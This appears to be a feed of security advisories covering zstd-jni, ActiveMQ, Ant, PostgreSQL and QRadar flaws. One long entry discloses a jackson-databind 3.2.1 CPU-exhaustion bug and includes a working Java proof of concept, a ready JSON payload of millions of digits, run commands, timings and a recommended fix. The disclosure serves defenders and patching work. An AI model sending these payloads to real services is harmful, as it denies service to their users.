IBM QRadar could allow a remote attacker to cause a denial of service or obtain sensitive information due to an out-of-bounds read.

zstd-jni versions 1.2.0 through 1.5.7-13 contain an out-of-bounds read vulnerability in the ZstdDictDecompress constructor because offset and length arguments are never validated against the dictionary array bounds. Attackers can supply arbitrary offset or length values to read memory past the end of the supplied array, potentially causing JVM termination.

Summary jackson-databind 3.2.1 deserializes a JSON string bound to a javax.xml.datatype.Duration or javax.xml.datatype.XMLGregorianCalendar field by passing the raw string verbatim to DatatypeFactory.newDuration(value) / newXMLGregorianCalendar(value). Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into java.math.BigInteger / BigDecimal using the native BigInteger(String) constructor (an O(n²) parser). Because the digits reside inside a JSON string token, jackson-core's StreamReadConstraints.maxNumberLength guard (which bounds only JSON number tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1–5 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default JsonMapper.builder().build() mapper with no polymorphic typing or special configuration.

Details StreamReadConstraints.maxNumberLength (jackson-core, default 1000) bounds the text length of JSON number tokens only; it does not apply to digits inside a JSON string token (maxStringLength default is 100,000,000). jackson's own value binders compensate for this gap elsewhere — NumberDeserializers explicitly call streamReadConstraints().validateIntegerLength(text.length()) / validateFPLength(text.length()) before parsing a stringified number (NumberDeserializers.java:1063, :1139). The XML-datatype deserializer omits this identical pre-check.

CoreXMLDeserializers registers Std deserializers by default for any field typed javax.xml.datatype.Duration or XMLGregorianCalendar (findBeanDeserializer), with no opt-in required. Std.deserialize hands the attacker string straight to the datatype factory:

java protected Object deserialize(String value, DeserializationContext ctxt) { switch (kind) { case TYPEDURATION: return dataTypeFactory.newDuration(value); // attacker lexical string case TYPEGCALENDAR: Date d; try { d = parseDate(value, ctxt); } catch (DatabindException e) { return dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string } return gregorianFromDate(ctxt, d); } throw new IllegalStateException(); }

Per the XSD lexical rules, newDuration parses each numeric component (years, months, …) into a BigInteger, and newXMLGregorianCalendar parses fractional seconds into a BigDecimal. The JDK uses the native BigInteger(String) / BigDecimal(String) constructors, which are O(n²) in the digit count. A short JSON string such as "P" + "9"×N + "Y" therefore forces the allocation and O(N²) parse of an N-digit BigInteger, entirely downstream of every jackson-core constraint.

Vulnerable Code Location

- src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137 — newDuration(value) (TYPEDURATION) - src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147 — newXMLGregorianCalendar(value) (TYPEGCALENDAR fallback) - Registration (default, no opt-in): src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46 (findBeanDeserializer returns Std for XMLGregorianCalendar / Duration) - Contrast — correct length-guard pattern already used elsewhere in the library: src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139

Proof of Concept

PoC source (Vuln07DurationDoS.java). It uses only the public ObjectMapper.readValue API and a default mapper; the only "special" element is a normal DTO exposing a javax.xml.datatype.Duration field.

java package com.poc;

import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; import javax.xml.datatype.Duration;

/ Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization. A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration. / public class Vuln07DurationDoS { public static class Cfg { public Duration ttl; }

public static void main(String[] args) throws Exception { ObjectMapper mapper = JsonMapper.builder().build(); int digits = Integer.getInteger("digits", 5000000);

// Baseline small parse. long t0 = System.nanoTime(); mapper.readValue("{\"ttl\":\"P1Y\"}", Cfg.class); long tBase = System.nanoTime() - t0; System.out.println("Baseline (P1Y) parse: " + (tBase/1000000) + " ms");

String big = "P" + "9".repeat(digits) + "Y"; String json = "{\"ttl\":\"" + big + "\"}"; System.out.println("Payload JSON size ~ " + json.length() + " bytes (year component = " + digits + " digits)"); long t1 = System.nanoTime(); try { Cfg c = mapper.readValue(json, Cfg.class); long dt = System.nanoTime() - t1; System.out.println("Parsed giant Duration in " + (dt/1000000) + " ms; years field type materialized as BigInteger"); System.out.println("RESULT: VULNERABLE - " + digits + "-digit BigInteger parsed from a " + json.length() + "-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)"); } catch (Throwable t) { long dt = System.nanoTime() - t1; System.out.println("After " + (dt/1000000) + " ms threw " + t.getClass().getName() + ": " + t.getMessage()); } } }

Minimal HTTP-shaped payload (what an attacker sends):

json { "ttl": "P99999999999999999999…9Y" } // 'P' + N nines + 'Y', N up to ~100,000,000

An XMLGregorianCalendar field is equally affected via the fractional-seconds path, e.g. { "at": "0000-01-01T00:00:00." + "9"×N }.

Execution Steps

The PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be built and run with plain javac/java (no Maven required). The jars are the standard published artifacts (here resolved from the local Maven cache ~/.m2, but any copy works).

bash 0. Locate the three dependency jars (published Maven artifacts). M2="$HOME/.m2/repository" DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar" CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar" ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar" CP="$DB:$CORE:$ANN" If not already cached, fetch them once, e.g.: mvn -q dependency:get -Dartifact=tools.jackson.core:jackson-databind:3.2.1 (jackson-core 3.2.1 and jackson-annotations 2.22 come as transitive deps)

1. Compile with javac (single source file). mkdir -p out javac -cp "$CP" -d out src/main/java/com/poc/Vuln07DurationDoS.java

2. Quick confirmation (~11 s): 1,000,000-digit year component. java -Xmx2g -Ddigits=1000000 -cp "out:$CP" com.poc.Vuln07DurationDoS

3. Full-severity demonstration (~293 s): 5,000,000-digit year component. java -Xmx2g -Ddigits=5000000 -cp "out:$CP" com.poc.Vuln07DurationDoS

The digits system property controls the number of 9 characters in the year component; JSON payload size ≈ digits + 12 bytes. Increase toward the default 100,000,000 maxStringLength to scale cost further.

Environment used for the evidence below: jackson-databind 3.2.1, jackson-core 3.2.1, jackson-annotations 2.22; OpenJDK 25 on macOS (darwin), default JsonMapper.builder().build().

Reproduction Evidence

Deterministic values (payload byte count, resulting bit-length) are exact across runs; timings vary with load. Two independent runs at different sizes:

digits = 5,000,000 (~5 MB payload): Baseline (P1Y) parse: 27 ms Payload JSON size ~ 5000012 bytes (year component = 5000000 digits) Parsed giant Duration in 293175 ms; years field type materialized as BigInteger RESULT: VULNERABLE - 5000000-digit BigInteger parsed from a 5000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)

digits = 1,000,000 (~1 MB payload, for fast repeatability): Baseline (P1Y) parse: 53 ms Payload JSON size ~ 1000012 bytes (year component = 1000000 digits) Parsed giant Duration in 11155 ms; years field type materialized as BigInteger RESULT: VULNERABLE - 1000000-digit BigInteger parsed from a 1000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)

Interpretation: a normal "P1Y" value parses in tens of milliseconds; a ~1 MB attacker payload consumes ~11 s and a ~5 MB payload ~293 s of single-thread CPU — a 5–6 order-of-magnitude amplification. The super-linear growth (≈26× cost for 5× payload) is consistent with the JDK's O(n²) BigInteger(String) constructor. The cost occurs inside DatatypeFactory.newDuration, downstream of jackson-core's StreamReadConstraints (independently confirmed: the same digit sequence supplied as a bare JSON number token is rejected with StreamConstraintsException, whereas inside a string token it is not bounded).

Impact

An unauthenticated attacker can stall a request-processing thread for tens of seconds to minutes and allocate a large BigInteger/BigDecimal from a single small request. Because the cost is CPU-bound and super-linear, a handful of concurrent requests can saturate the server's worker threads and CPU, denying service to all users. The exposure requires only that a bound type expose a javax.xml.datatype.Duration or XMLGregorianCalendar field common in applications that ingest XML-schema derived data, SOAP/JAXB-adjacent models, or configuration carrying XSD durations — and fires under the default mapper with no polymorphic typing.

Recommended Fix

Apply the same validate-length-then-parse idiom the core NumberDeserializers already use:

1. In CoreXMLDeserializers.Std.deserialize, enforce a maximum raw-string length before calling newDuration(value) / newXMLGregorianCalendar(value) — e.g. reject inputs longer than ctxt.streamReadConstraints().getMaxNumberLength() (or a dedicated bound), routing over-length input through ctxt.handleWeirdStringValue(...). 2. Alternatively, validate the lexical form against a bounded regex and cap the digit count of each numeric component before delegating to DatatypeFactory. 3. Document that Duration / XMLGregorianCalendar fields bound from untrusted input must be length-limited at the transport layer.

zstd-jni versions 1.5.5-6 through 1.5.7-13 contain an out-of-bounds read vulnerability in Zstd.getFrameContentSize that fails to validate negative srcPosition arguments. Attackers can supply negative offset values that bypass bounds checks and reach the native frame-header parser, causing out-of-bounds memory reads that lead to information disclosure or JVM crashes.

zstd-jni versions before 1.5.7-14 fail to validate closed state in setDict, setLongMax, setLevel and setRefMultipleDDicts methods of stream classes. Attackers can call these methods on closed streams to write through freed native pointers, corrupting unrelated objects or crashing the JVM.

zstd-jni before 1.5.7-14 fails to validate the samples buffer capacity in Zstd.trainFromBufferDirect, allowing attackers to read past buffer boundaries by supplying oversized per-sample lengths. Attackers can trigger out-of-bounds memory access by providing crafted sample length arrays that cause the native implementation to walk past the buffer allocation, resulting in JVM termination.

zstd-jni before 1.5.7-14 contains a use-after-free vulnerability where streams and contexts hold a dictionary's shared lock only during the load call, allowing the dictionary to be closed while still referenced. Attackers can close a dictionary after associating it with a stream or context, causing subsequent read or write operations to access freed native memory, resulting in silent data corruption or JVM crashes.

zstd-jni before 1.5.7-14 performs 32-bit signed bounds checks on three direct-ByteBuffer frame-size native methods, allowing out-of-bounds memory reads via negative or overflowing offsets. Attackers can supply negative offset values near Integer.MINVALUE to read unmapped memory, causing JVM termination or extracting arbitrary frame size data from unintended memory locations.

zstd-jni versions before 1.5.7-14 fail to validate offset and length parameters in the ZstdDictCompress constructor, allowing out-of-bounds memory reads. Attackers can supply untrusted offset or length values to read native heap memory into the compression dictionary, typically causing JVM crashes.

Improper input validation in TopicRegion in Apache ActiveMQ, Apache ActiveMQ Broker, and Apache ActiveMQ All on all platforms.

An authenticated client can spoof clientId when removing a durable topic subscription.

This issue affects Apache ActiveMQ Broker: before 5.19.11, from 6.0.0 before 6.3.2; Apache ActiveMQ All: before 5.19.11, from 6.0.0 before 6.3.2; Apache ActiveMQ: before 5.19.11, from 6.0.0 before 6.3.2.

Users are recommended to upgrade to version 6.3.2 or 5.19.11 which fixes the issue.

Apache Ant: Path traversal in ftp and scp tasks allows arbitrary file write

Last updated 30 September 2026

Last updated 2 September 2026

Last updated 2 September 2026

Last updated 30 September 2026

PostgreSQL refint plan cache type confusion executes arbitrary code

Missing authorization in PostgreSQL logical decoding allows a non-superuser holding REPLICATION privilege to dlopen any file visible to the operating system account running the server, via the choice of logical decoding plugin. This in turn runs arbitrary code as that account. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.

PostgreSQL psql COPY FROM STDIN early failure processes data lines as psql commands

Heap buffer overflow in PostgreSQL pgdump of long function transform lists allows an object creator to execute arbitrary code as the operating system user running pgdump, via a crafted transform list. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.

PostgreSQL psql \unrestrict lets superuser of pgdump origin server execute arbitrary code in psql client

PostgreSQL type confusion in cursor CLOSE + DECLARE executes arbitrary code

Integer wraparound in PostgreSQL fuzzystrmatch allows a user to direct writes to a huge range of addresses, executing arbitrary code as the operating system user running the database, via extreme inputs to SQL function levenshtein() or levenshteinlessequal(). Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.

PostgreSQL expression deparse allows SQL injection via EXTRACT argument

PostgreSQL type confusion via "internal" arguments

Stack buffer overflow in PostgreSQL argument name matching allows an object creator to achieve unknown impacts via OUT parameter count. The attack can write only 0x0 and 0x1 bytes. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.

Integer wraparound in PostgreSQL 32-bit builds of pltcl and plperl allows an object creator to cause the server to undersize an allocation and write out-of-bounds via crafted function bodies. This may execute arbitrary code as the operating system user running the database. CVE-2026-6473 had fixed similar problems. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.

Heap buffer overflow in PostgreSQL plperl return of a tied hash allows the function owner to execute arbitrary code as the operating system user running the database, via a crafted function body. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.

Heap buffer overflow in PostgreSQL tochar(timestamptz) allows the party choosing the timezone to execute arbitrary code as the operating system user running the database, via a long POSIX timezone abbreviation. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.

PostgreSQL ctid type confusion in selectivity estimator discloses derivative of arbitrary read

Heap buffer overflow in PostgreSQL regexp allows the query author to execute arbitrary code as the operating system user running the database, via text that would not pass encoding validation. This shares heritage with CVE-2026-2006, but this case involved unanticipated data growth when round-tripped through pgwchar. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.